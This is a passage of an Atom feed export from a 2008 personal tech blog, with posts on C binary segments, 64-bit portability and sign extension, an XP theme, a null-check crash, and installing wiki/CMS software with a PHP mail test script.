/&gt;}&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;gcc size.c; &lt;strong&gt;size ./a.out&lt;/strong&gt; gave the output as:&lt;br /&gt;&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;&lt;/em&gt; &lt;strong&gt; text    data     bss     dec          hex    filename    | Actual size of file ./a.out&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;char arr [6400];       1012     484   &lt;strong&gt;64032 &lt;/strong&gt;65528       fff8       a.out          |    &lt;strong&gt;9121&lt;/strong&gt; bytes&lt;br /&gt;&lt;br /&gt;char arr [640000];   1012     484 &lt;strong&gt;6400032&lt;/strong&gt; 6401528  61adf8 a.out          |    &lt;strong&gt;9121&lt;/strong&gt; bytes&lt;br /&gt;Clearly, just declaring a big array does not change the Actual size of the binary.&lt;br /&gt;&lt;br /&gt;However declaring and initializing the array&lt;br /&gt;&lt;br /&gt;char darr[6400000] = {"test"};&lt;br /&gt;void main () {&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;strong&gt; text    data     bss     dec          hex    filename    | Actual size of file ./a.out&lt;/strong&gt;&lt;br /&gt;1012 6400512      16 6401540  61ae04 ./a.out          | &lt;strong&gt;6409145 &lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Makes the executable size as  &lt;strong&gt;6409145 bytes, &lt;/strong&gt;ouch! compare it with 9121 bytes above.&lt;br /&gt;&lt;br /&gt;The only change was that the array was initialized, which moved the array into Data segment (instead of BSS segment). Since the BSS segment only holds variables that don't have any value yet, it doesn't actually need to store the image of these variables.&lt;br /&gt;&lt;br /&gt;Until next time...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-2271923564257616405?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/2271923564257616405/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=2271923564257616405' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/2271923564257616405'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/2271923564257616405'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/12/aout-readonly-strings.html' title='./a.out readonly strings'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-5972936842027386225</id><published>2008-11-30T02:19:00.000-08:00</published><updated>2008-12-02T04:21:31.113-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CoolTech'/><title type='text'>XP theme, looks like Vista!</title><content type='html'>Well here you go: try this&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;a href="http://www.istartedsomething.com/uploads/royale_noir.zip"&gt;Download Royale Noir (.ZIP) [403K]&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;a href="http://www.istartedsomething.com/uploads/royale_noir.rar"&gt;Download Royale Noir (.RAR) [232K]&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;&lt;div style="border:2px solid #edbe6d;background:#feffdf none repeat scroll 0 0;padding:5px 5px 0;"&gt;&lt;strong&gt;Instructions to use:&lt;/strong&gt;&lt;/div&gt;&lt;br /&gt;&lt;div id="downloadlink" style="border:2px solid #edbe6d;background:#feffdf none repeat scroll 0 0;padding:5px 5px 0;"&gt;&lt;br /&gt;&lt;ol&gt;&lt;br /&gt;	&lt;li&gt;Extract files to “C:\windows\resources\themes\royale noir”&lt;/li&gt;&lt;br /&gt;	&lt;li&gt;Double click on “luna.msstyles”&lt;/li&gt;&lt;br /&gt;	&lt;li&gt;Select “Noir” from “Color Scheme”&lt;/li&gt;&lt;br /&gt;&lt;/ol&gt;&lt;br /&gt;Because this theme has been code-signed by Microsoft, No UXTheme.dll hack required.&lt;/div&gt;&lt;br /&gt;And my Desktop looks like:&lt;br /&gt;&lt;br /&gt;[gallery]&lt;br /&gt;&lt;br /&gt;Sometime after the launch of XP, somewhere in Redmond, someone on the Microsoft design team was in the progress of developing something for Media Center. It was believed to be too powerful for public consumption and forever archived in the servers at 1 Microsoft Way (source http://www.istartedsomething.com/20061029/royale-noir/).&lt;br /&gt;&lt;br /&gt;Archived Forever? Nah.. Vista looks much similar. Since I don't like desktop wallpapers, I kept it dark (Although you may want to download one from the net..)&lt;br /&gt;&lt;br /&gt;hail XP!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-5972936842027386225?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/5972936842027386225/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=5972936842027386225' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/5972936842027386225'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/5972936842027386225'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/11/xp-theme-looks-like-vista.html' title='XP theme, looks like Vista!'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-4783311270053332378</id><published>2008-11-28T21:30:00.000-08:00</published><updated>2008-11-28T21:32:07.259-08:00</updated><title type='text'>http://xmltech.wordpress.com/</title><content type='html'>I generally do my techie rants here:&lt;br /&gt;&lt;a href="http://xmltech.wordpress.com/"&gt;http://xmltech.wordpress.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I would like to switch from wordpress to blogger, in case you know of any tool,&lt;br /&gt;pls let me know.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-4783311270053332378?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/4783311270053332378/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=4783311270053332378' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/4783311270053332378'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/4783311270053332378'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/11/httpxmltechwordpresscom.html' title='http://xmltech.wordpress.com/'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-9133506486989725659</id><published>2008-11-28T02:32:00.000-08:00</published><updated>2008-12-02T04:21:34.333-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='TechPain'/><category scheme='http://www.blogger.com/atom/ns#' term='CoolTech'/><title type='text'>Writing 64 bit Clean code</title><content type='html'>&lt;pre style="text-align:left;"&gt;&lt;strong&gt;Data Type       32          64&lt;/strong&gt;&lt;br /&gt;char             1 byte      1 byte&lt;br /&gt;short            2 bytes     2 bytes&lt;br /&gt;int                4 bytes     4 bytes&lt;br /&gt;long             4 bytes     8 bytes&lt;br /&gt;pointer         4 bytes     8 bytes&lt;br /&gt;size_t           4 bytes     8 bytes&lt;br /&gt;long long     8 bytes     8 bytes&lt;/pre&gt;&lt;br /&gt;&lt;p style="text-align:left;"&gt;&lt;strong&gt;Notes:&lt;/strong&gt;&lt;br /&gt;• The size and alignment of long integers and pointers have changed&lt;br /&gt;from 32 bit to 64 bit.&lt;br /&gt;• For the most part, as long as your code always uses the sizeof&lt;br /&gt;function when allocating data structures, the size and alignment of&lt;br /&gt;pointers should not affect your code, because structures containing&lt;br /&gt;pointer members are generally not written to disk or sent across&lt;br /&gt;networks between 32-bit and 64-bit applications. However, the&lt;br /&gt;change in the size of long can cause problems if you frequently&lt;br /&gt;move data between variables of type int and long.&lt;br /&gt;• You should generally avoid casting a pointer to a non-pointer type&lt;br /&gt;for any reason (and particularly not for performing address&lt;br /&gt;arithmetic). If possible, rewrite any code that does this, either by&lt;br /&gt;changing the data types or by replacing address arithmetic with&lt;br /&gt;pointer arithmetic.&lt;br /&gt;• If you are shifting through the bits stored in a variable of type long,&lt;br /&gt;1 Depends on whether _FILE_OFFSET_BITS=64&lt;br /&gt;you should be careful to avoid assuming that it is of a particular&lt;br /&gt;length. Instead, use the value sysconf(_SC_LONG_BIT) to&lt;br /&gt;determine the number of bits in a long.&lt;br /&gt;• Be careful when using bit masks with variables of type long,&lt;br /&gt;because the width will change between 32-bit and 64-bit&lt;br /&gt;architectures.&lt;br /&gt;• If you want the mask value to contain zeroes in the upper 32 bits on&lt;br /&gt;a 64-bit architecture, the usual fixed-width mask will work as&lt;br /&gt;expected, because it will be extended in an unsigned fashion to a&lt;br /&gt;64-bit quantity.&lt;br /&gt;• Use explicit types where possible. For example, types with names&lt;br /&gt;like sint32_t and uint32_t will always be a 32-bit quantity,&lt;br /&gt;regardless of future architectural changes.&lt;br /&gt;• Conversion of shorter types to 64-bit longs may yield unexpected&lt;br /&gt;results in certain cases. Be sure to read the section “Sign Extension&lt;br /&gt;Rules for C” if you are seeing unexpected values from math that&lt;br /&gt;mixes int and long variables.&lt;br /&gt;• The alignment of long long (64-bit) integers has changed from 32&lt;br /&gt;bit to 64 bit. This can pose a problem when you are exchanging&lt;br /&gt;data between 32-bit and 64-bit applications.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-9133506486989725659?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/9133506486989725659/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=9133506486989725659' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/9133506486989725659'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/9133506486989725659'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/11/writing-64-bit-clean-code.html' title='Writing 64 bit Clean code'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-6585477377857970148</id><published>2008-11-28T02:22:00.000-08:00</published><updated>2010-01-06T05:57:58.172-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='TechPain'/><category scheme='http://www.blogger.com/atom/ns#' term='CoolTech'/><title type='text'>Signed != Unsigned</title><content type='html'>&lt;strong&gt;Beware: This post assumes Linux LP64 Data Model. So it may not be valid for Win64. Since, sizeof int != sizeof long on Linux but sizeof int == sizeof long on Windows LLP64 DataModel&lt;br /&gt;&lt;br /&gt;Problems of Sign Extension: &lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;void main()&lt;br /&gt;{&lt;br /&gt;int a=-2;&lt;br /&gt;unsigned int b=1;&lt;br /&gt;long c = a + b;&lt;br /&gt;long c1 = a + (long) b;&lt;br /&gt;&lt;br /&gt;long long d=c; // to get a consistent size for printing (on both architectures, 32 and 64 bit).&lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;PROBLEM:&lt;/strong&gt; When executed on a 32-bit architecture, the result is -1 (0xffffffff). When run on a 64-bit architecture, the result is 4294967295 (0x00000000ffffffff), which is probably not what you were expecting&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Rule #1 :&lt;/strong&gt; Now, when you add a (int) + b (uint) : The result is : Unsigned. Thus, a + b results in a unsigned integer (-1) which is 0xffffffff.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Rule #2: &lt;/strong&gt;When unsigned int numbers are promoted to long's. They are &lt;strong&gt;not&lt;/strong&gt; sign Extended. Thus, -1 which is 0xffffffff is simply promoted to 0x00000000ffffffff which is a very high number. &lt;strong&gt;Note:&lt;/strong&gt; This problem does not come on a 32 bit OS. Since long is 4 bytes.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;What? &lt;/strong&gt;The Idea is simple: unsigned quantity does not have a sign attached to it, right? so if unsigned quantity is promoted to a long(or unsigned long) then they simply cannot be sign extended!&lt;br /&gt;&lt;br /&gt;However, signed quantities do have a sign, thus when they are promoted to a long, it is all duly taken care. i.e:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Rule #3:&lt;/strong&gt; Signed values are always sign extended when promoted to a larger&lt;br /&gt;type, even if the resulting type is unsigned.&lt;br /&gt;&lt;br /&gt;(unsigned or signed) Long  = Signed int will Work.&lt;br /&gt;&lt;br /&gt;i.e. Signed values are always sign extended when promoted to a larger type, even if the resulting type is unsigned.&lt;br /&gt;&lt;br /&gt;int a = -1;&lt;br /&gt;&lt;br /&gt;long v = a;&lt;br /&gt;unsigned long v1 = a;&lt;br /&gt;&lt;br /&gt;printf("%d %ld %ld\n",a,  v, v1);&lt;br /&gt;&lt;br /&gt;Output (on a 64 bit value) is: -1 -1 18446744073709551615&lt;br /&gt;&lt;br /&gt;The above big value clearly shows that when signed integer -1 was promoted to a signed long value (which would be 64th bit (sign bit) was set as 1).&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Rule #5: &lt;/strong&gt;Constants (unless modified by a suffix, such as 0x8L) are the&lt;br /&gt;smallest size that will hold the value. For numbers written in&lt;br /&gt;hexadecimal, this includes both signed and unsigned int, long,&lt;br /&gt;and long long types. For decimal numbers, this only includes&lt;br /&gt;signed types.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-6585477377857970148?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/6585477377857970148/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=6585477377857970148' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/6585477377857970148'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/6585477377857970148'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/11/signed-unsigned.html' title='Signed != Unsigned'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-5170316858530124119</id><published>2008-11-13T04:37:00.000-08:00</published><updated>2008-12-02T04:21:39.268-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='TechPhilosophy'/><title type='text'>To be or not to be..</title><content type='html'>Hmm..&lt;br /&gt;&lt;br /&gt;I have been coding for the last 7 years in c and c++. Now things have become so mundane that I can code with my eyes closed and my brain half dead. Programming everyday in office, I do not get a problem for which I've to think much. There is nothing which makes me awake from my sleep. Mostly a bug fix, a feature integration or just plain refactoring. There is no excitement of a new learning or a new technology. I am getting old and tired of doing the same/similar things again and again...&lt;br /&gt;&lt;br /&gt;What I would like is to try something radically different. Like?&lt;br /&gt;&lt;br /&gt;1) UI Design. Be an expert in designing simplified UI for next generation devices.&lt;br /&gt;&lt;br /&gt;2) A web based software. With things now slowly moving towards SAAS (s/w as a service model) and web based delivery of software. I would like to get involved in it, to see the how this technology transforms the way s/w is delivered and used.&lt;br /&gt;&lt;br /&gt;3) Product management: Instead of thinking about algorithms and datastructures, I would like to move one step closer to where products are incubated.&lt;br /&gt;&lt;br /&gt;And some more...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-5170316858530124119?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/5170316858530124119/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=5170316858530124119' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/5170316858530124119'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/5170316858530124119'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/11/to-be-or-not-to-be.html' title='To be or not to be..'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-8321960180400534469</id><published>2008-11-10T20:37:00.000-08:00</published><updated>2008-12-02T04:21:42.645-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web services Architecture'/><title type='text'>Crash at the nth hour</title><content type='html'>Now, here is what happened yesterday.&lt;br /&gt;&lt;br /&gt;A POC is scheduled for next day morning. Since its a big customer everyone is looking forward for it. POC preparations are underway when I get a call at 9.30pm that there is a crash. We have a reg-ex capabilities on the application data on the fly, as an when the message is parsed through our box.&lt;br /&gt;&lt;br /&gt;We were using a standard posix regex engine. No brainer there..however what I left behind was a simple Null check.&lt;br /&gt;&lt;br /&gt;This post is to remind myself as a good programmer that even when assumptions are that the string can never be null, go ahead and make a check on Null'ness of the string. Especially when passing it to standard libc libraries (strcpy/regcomp etc).&lt;br /&gt;&lt;br /&gt;And if you don't, what will be the end result? Crash at the nth hour..Fixes, Patches, unnecessary late nights...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-8321960180400534469?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/8321960180400534469/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=8321960180400534469' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/8321960180400534469'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/8321960180400534469'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/11/crash-at-nth-hour.html' title='Crash at the nth hour'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-4408477258915458524</id><published>2008-11-10T20:24:00.000-08:00</published><updated>2008-12-02T04:21:46.010-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web services Architecture'/><title type='text'>Stint with a CMS - Twiki, installations and problems</title><content type='html'>Alright,&lt;br /&gt;&lt;br /&gt;I decided to play with a few CMS available on the net. And there are tons and tons of them, all free!&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Requirements&lt;/strong&gt;:&lt;br /&gt;&lt;br /&gt;All I wanted was a good content management system,&lt;br /&gt;&lt;br /&gt;- with Wiki support,&lt;br /&gt;&lt;br /&gt;- along with a forum&lt;br /&gt;&lt;br /&gt;- email based notifications&lt;br /&gt;&lt;br /&gt;- integration with svn and bugzilla (if possible)&lt;br /&gt;&lt;br /&gt;I should have added 'Ease of install and configuration' as my requirement. As many of the CMS packages available proved me otherwise.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;First Choice: Twiki&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Twiki was the first choice, but soon I realised its cumbersome installation and configuration. Tweaking twiki is a daunting task, Especially on a windows based system. Actually most of these CMS are made for Linux and hence installation and configuration is still based on .conf files, scripts, assumptions and more.&lt;br /&gt;&lt;br /&gt;Fortunately there is a &lt;a href="http://twiki.org/cgi-bin/view/Blog/2007-09-22-twiki-42-beta-now-has-a-windows-installer"&gt;Windows Installer for Twiki 4.2&lt;/a&gt; available on the net. And the installation of that is one-click, seamless install. It includes an inbuilt apache, perl etc. But this I stumbled upon accidentally, only after wasting my lot of time on &lt;a href="http://twiki.org/cgi-bin/view/TWiki.WindowsInstallCookbook"&gt;WindowsInstallCookBook &lt;/a&gt;and  tons of garbage insturctions on how to install zillions of modules to just get twiki up and running! I say Why? Why do the end user has to follow tons and tons of instructions to just get the s/w running? I mean developers of twiki spent countless hours developing a good CMS system, but didn't spend couple of hours maintaining some one-cick installater for the end users? sad.&lt;br /&gt;&lt;br /&gt;Anyways, I was able to get twiki running (using the windows installer) however i stumbled upon another problem. Installation is one problem. Confguration of modules in Twiki requires another PHD. Its based on TWIKI_VARIABLES_TO_BE_SET='Hell' on a twiki page (instead of maintaining .conf files). This may sound to be a great idea from a developer point of view, but has a extreme learning curve from an end user point.&lt;br /&gt;&lt;br /&gt;Finally trying hard to search in a extremely big bulky Twiki site, searching for modules, and how to make it working, i was more or less left on my own. A few modules (like forum in twiki) worked in one shot, simply by unzipping them into twiki directory. However a few gave me big time pain. Twiki originally based on a Linux system assumes a lot of stuff ( tools like svn etc are available on linux) but not on windows. Which means, I would have to download those tools, configure them and make sure the perl scripts from twiki are able to use those tools. Now there is no neat information available on the net which can help you do that in one shot.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Trac&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Trac looked impressive. Had inbuilt support for forum and svn. However its installation is a night mare too.&lt;br /&gt;&lt;br /&gt;Again it pointed me to a page of tons of confusing instructions on how to download stuff required to run trac: python, setuptools (some sort of python library used to setup trac), Pysqlite, Genshi and bleh!.&lt;br /&gt;&lt;br /&gt;And the instructions are given in plain lucid form &lt;a href="http://trac.edgewall.org/wiki/TracOnWindows"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;ol&gt;&lt;br /&gt;	&lt;li&gt;Click "Start" &amp;gt; "Run..." (or press Win+R)&lt;/li&gt;&lt;br /&gt;	&lt;li&gt;Type "cmd" and click "Ok" - this opens the &lt;span class="searchword2"&gt;Windows&lt;/span&gt; command console&lt;/li&gt;&lt;br /&gt;	&lt;li&gt;Type "cd c:\Python24\Scripts"&lt;/li&gt;&lt;br /&gt;	&lt;li&gt;easy_install &lt;em&gt;blah_package&lt;/em&gt;.&lt;/li&gt;&lt;br /&gt;&lt;/ol&gt;&lt;br /&gt;Great! so easy. but somebody who spent hours in writing this information, could have created a single installation based script to do the same. isn't it? Why force people who need a no-brainer solution go through hundreds of instruction..&lt;br /&gt;&lt;br /&gt;I left trac evaluation in a hurry, couldn't have possibly gone ahead with it.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Drupal and Joomla&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Installation of  &lt;strong&gt;drupal &lt;/strong&gt;was seamless!!!&lt;br /&gt;&lt;br /&gt;This was the first time I could do it with minimal instructions.&lt;br /&gt;&lt;br /&gt;Just Install &lt;a href="http://www.apachefriends.org/en/xampp-windows.html"&gt;XAMPP&lt;/a&gt; (which is apache + PHP +MySql and sendMail). Unzip the drupal directory under htdocs.&lt;br /&gt;&lt;br /&gt;There you go, point your browser to http://localhost/drupalx.y/ and the installation is cool :).&lt;br /&gt;&lt;br /&gt;One catch!&lt;br /&gt;&lt;br /&gt;Need to pre-create a database for drupal(just give any name) which can be done from &lt;strong&gt;http://localhost/xampp&lt;/strong&gt; phpMyAdmin link. Also remember to copy user say: root and assign a password to it. again PhpMyAdmin&amp;gt; Priviledges.&lt;br /&gt;&lt;br /&gt;Both user name, password and database name(given above) are asked as input during the drupal installation (http://localhost/drupalx.y/)&lt;br /&gt;&lt;br /&gt;Great CMS systems, but I rejected&lt;strong&gt; &lt;/strong&gt;them as they didn't had &lt;strong&gt;wiki &lt;/strong&gt;support.&lt;br /&gt;&lt;br /&gt;Thank drupal and joomla, now Its easy to create a website of your own!&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;And Finally &lt;a href="http://info.tikiwiki.org/tiki-index.php?page=Get+Tiki&amp;amp;bl"&gt;TikiWiki&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;- The installation was seamless (xampp, unzip into htdocs, point your browser to your installation http://localhost/tiki/ and there you go. Just remember to create a database and a user using http:/localhost/xampp phpMyAdmin link.&lt;br /&gt;&lt;br /&gt;- The configuration was UI based, thank goodness.&lt;br /&gt;&lt;br /&gt;- &lt;a href="http://doc.tikiwiki.org/tiki-index.php?page=Admin+Panels"&gt;Documentation &lt;/a&gt;was comprehensive along with a &lt;a href="http://smarty.php.net/docs.php"&gt;Tikiwiki manual &lt;/a&gt;for &lt;span style="text-decoration:line-through;"&gt;Dummies&lt;/span&gt; smarties.&lt;br /&gt;&lt;br /&gt;- There &lt;a href="http://tikiwiki.org/tiki-view_forum.php?forumId=6"&gt;forum &lt;/a&gt;support was good as well.&lt;br /&gt;&lt;br /&gt;All in all. I was up with TikiWiki in no time...&lt;br /&gt;&lt;br /&gt;To my surprise, it looked more refined than Twiki, the UI was more intuitive, not cluttered. Finding and setting up information was easy.&lt;br /&gt;&lt;br /&gt;Finally one last thing! The email notifications. This took me a lot of time.&lt;br /&gt;&lt;br /&gt;Considering that al other previous installs had explicitly asked for SMTP settings, I was expecting similar. However it was only after a night out I realised that Tiki email notifications (for first time registrations for example) are dependent on php.ini.&lt;br /&gt;&lt;br /&gt;Tiki relies on your xampp php.ini and sendmail/smtp.ini settings. It depends on mail() function inbuilt into PHP to work. Thus, if your settings in the above two files are correct, then tiki email notifications should work seamlessly. But first I had to be sure that my above configuration is right. For that I googled for a php email script.&lt;br /&gt;&lt;br /&gt;Found one:&lt;br /&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;$to = "recipient@example.com";&lt;br /&gt;$subject = "Hi!";&lt;br /&gt;$body = "Hi,\n\nHow are you?";&lt;br /&gt;if (mail($to, $subject, $body)) {&lt;br /&gt;echo("&amp;lt;p&amp;gt;Message successfully sent!&amp;lt;/p&amp;gt;");&lt;br /&gt;} else {&lt;br /&gt;echo("&amp;lt;p&amp;gt;Message delivery failed...&amp;lt;/p&amp;gt;");&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;Copied it into htdocs and tried it using my browser. Showed 'Message successfully sent' but no mail :(&lt;br /&gt;&lt;br /&gt;Had to tweak xampp/sendmail/smtp.ini to enable debug.log to figure out that the authentication was failing. Alright, that was fixed and voila the script worked and so did the Twiki Email notificaions.&lt;br /&gt;&lt;br /&gt;Yahoo!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-4408477258915458524?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/4408477258915458524/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=4408477258915458524' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/4408477258915458524'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/4408477258915458524'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/11/stint-with-cms-twiki-installations-and.html' title='Stint with a CMS - Twiki, installations and problems'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-7680964507540757393</id><published>2008-10-17T00:37:00.000-07:00</published><updated>2008-12-02T04:32:59.023-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web services Architecture'/><title type='text'>Lock free Queues</title><content type='html'>This post is incomplete..&lt;br 